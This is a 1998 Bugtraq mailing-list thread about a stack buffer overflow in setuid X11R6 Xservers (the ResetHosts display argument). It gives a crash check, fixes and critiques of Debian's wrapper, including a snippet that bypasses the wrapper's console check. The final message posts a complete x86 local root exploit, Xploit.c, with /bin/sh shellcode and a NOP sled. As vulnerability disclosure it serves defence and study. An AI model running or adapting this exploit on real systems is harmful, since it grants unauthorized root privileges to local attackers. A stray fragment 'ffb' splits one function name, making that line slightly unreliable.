|
Date: Tue, 13 Jan 1998 20:22:02 +0100 From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz> To: BUGTRAQ@NETSPACE.ORG Subject: Xserver stack smashed Summary: On a system where X11R6-based Xserver (R5 is probably affected too) is installed setuid or setgid (e.g. typical XFree86 installation has XF86_* setuid root), local users can exploit a buffer overrun in its code and gain extra privileges (e.g. root privileges when Xserver is setuid root). Quick vulnerability check: X :00000000000000000000000000000000000000000000000000000000000000000\ 00000000000000000000000000000000000000000000000000000000000000000000\ 00000000000000000000000000000000000000000000000000000000000000000000\ 00000000000000000000000000000000000000000000000000000000000000000000\ 00000000000000000000000000000000000000000000000000000000000000000000\ 00000000000000000000000000000000000000000000000000000000000000000000\ 00000000000000000000000000000000000000000000000000000000000000000009 (add -nolock for XFree86, change X to whatever name your Xserver has) Vulnerable Xserver will crash (Segmentation fault). (Note: machines immunized against stack smashing--e.g. Linux boxes with Solar Designer's kernel patch--are probably not vulnerable.) Quick fix: * remove setuid/setgid bit from all installed Xservers * use xdm or a safe setuid wrapper to start Xserver Details: X11R6.x Xserver recognizes a runtime argument specifying the desired display (e.g. X :1). It accepts ANY value regardless of its length and contents (save from the initial colon). Excerpt from xc/programs/Xserver/os/access.c (X11R6.3) /* Reset access control list to initial hosts */ void ResetHosts (display) char *display; { register HOST *host; char lhostname[120], ohostname[120]; char *hostname = ohostname; char fname[100]; [snip] strcpy (fname, "/etc/X"); strcat (fname, display); strcat (fname, ".hosts"); if (fd = fopen (fname, "r")) [snip] } Xserver calls ResetHos ffb ts() during its startup. A very long value of "display" (100 + 2*120 + delta bytes) overflows "fname" and corrupts the stack. An actual exploit is left as an exercise for the reader. :) There are probably other vulnerable places in Xserver code. (I have spotted another buffer overrun in LockServer() (os/utils.c, XFree86 specific) but this one seems to be benign.) Anyone willing to pay me big bucks for an exhaustive audit is welcome. :) --Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration) [ Boycott Microsoft -- http://www.vcnet.com/bms ] Date: Wed, 21 Jan 1998 21:58:55 +0100 From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Xserver stack smashed -- wrapper On Wed, 21 Jan 1998, John Goerzen wrote: > A short time ago, there was some talk about various wrappers around > the X server, and I pointed out that Debian already has one better > than the example posted. Since then, I have received requests to post > Debian's wrapper source. Unfortunately, this wrapper has two serious flaws: > case Console: > if (fstat(0,&s)!=0) { > fprintf(stderr,"X: cannot stat stdin\n"); > return FALSE; > } > if (S_ISCHR(s.st_mode) && ((s.st_rdev>>8)&0xff)==VT_MAJOR_DEV && > (s.st_rdev&0xff)<128) { > return TRUE; > } > break; First flaw: it is quite easy to fool this check. In many cases, it is possible to find a world writable vc entry in /dev (yes, this is a kind of configuration error but AFAIK Debian itself ships with a load of world writable /dev/tty[0-9]*'s) and do this: int main() { close(0); open("/dev/tty0", O_WRONLY); execlp("xserver-wrapper", "xserver-wrapper", 0); } IMHO, /var/run/utmp ought to be consulted > for (i = 1; i < argc; i++) { > if (!strcmp(argv[i], "-config")) { > if (setuid(getuid())) { > perror("X couldn't drop setuid privileges for alternate config"); > exit(1); > } > break; > } > } > execv(xserver,argv); Second flaw: not paranoid enough when checking the arguments. It should test whether arguments are _allowed_ and their parameters have _sane_ values. --Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration) [ Boycott Microsoft -- http://www.vcnet.com/bms ] Date: Mon, 26 Jan 1998 18:36:36 +0530 From: Rahul Sahadevan <srahul@CSA.IISC.ERNET.IN> To: BUGTRAQ@NETSPACE.ORG Subject: Re: Xserver stack smashed On Tue, 13 Jan 1998, Pavel Kankovsky wrote: -------------------------------------------------------------------------- =>On a system where X11R6-based Xserver (R5 is probably affected too) is =>installed setuid or setgid (e.g. typical XFree86 installation has XF86_* =>setuid root), local users can exploit a buffer overrun in its code and =>gain extra privileges (e.g. root privileges when Xserver is setuid root). =>Quick fix: remove setuid/setgid bit from all installed Xservers =>* use xdm or a safe setuid wrapper to start Xserver =>An actual exploit is left as an exercise for the reader. :) -------------------------------------------------------------------------- Hi, Here is an x86 exploit for the recently discovered X-server buffer overflow. This program has been tested on most XF86 servers ( version 3.2 ) shipped with Redhat-4.2 and on XF86_SVGA( version 3.2 and 3.3.1 ). It did not work on XF86_SVGA 3.1.x. Use a wrapper to check the arguments passed to the X server or use Solar Designer's kernel stack patch to prevent the overflow, Disclaimer: This program is for educational purposes only. Please do not misuse it. I cannot be held responsible for any damage caused by the use of this program by anyone. Rahul Sahadevan, Administrator, Dept of CS & A, Indian Institute of Sciences. -------------------------8<-------Xploit.c--------------------------------- /********************************************************** * Adapted from a5a * * "Smashing The Stack For Fun And Profit" * * in Phrack-49 by Aleph One ( aleph1@underground.org )* * by * * Rahul Sahadevan. ( srahul@csa.iisc.ernet.in ) * **********************************************************/ /* Try 2 3 4 5 for OFFSET */ #define OFFSET 2 #include <string.h> #include <unistd.h> #include <errno.h> #define LENCODE ( sizeof( Code ) ) char Code[] = "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0" "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41" "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd" "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e" "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh"; char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1; char *args[] = { "X", "-nolock", Display, NULL }; main() { dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 ); __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000)); memcpy( ptr + 4, ptr, 0x3fc ); memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE ); memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE ); execve( "/usr/X11R6/bin/X", args, args + 3 ); perror( "execve" ); } --------------------------------8<-----------------------------------------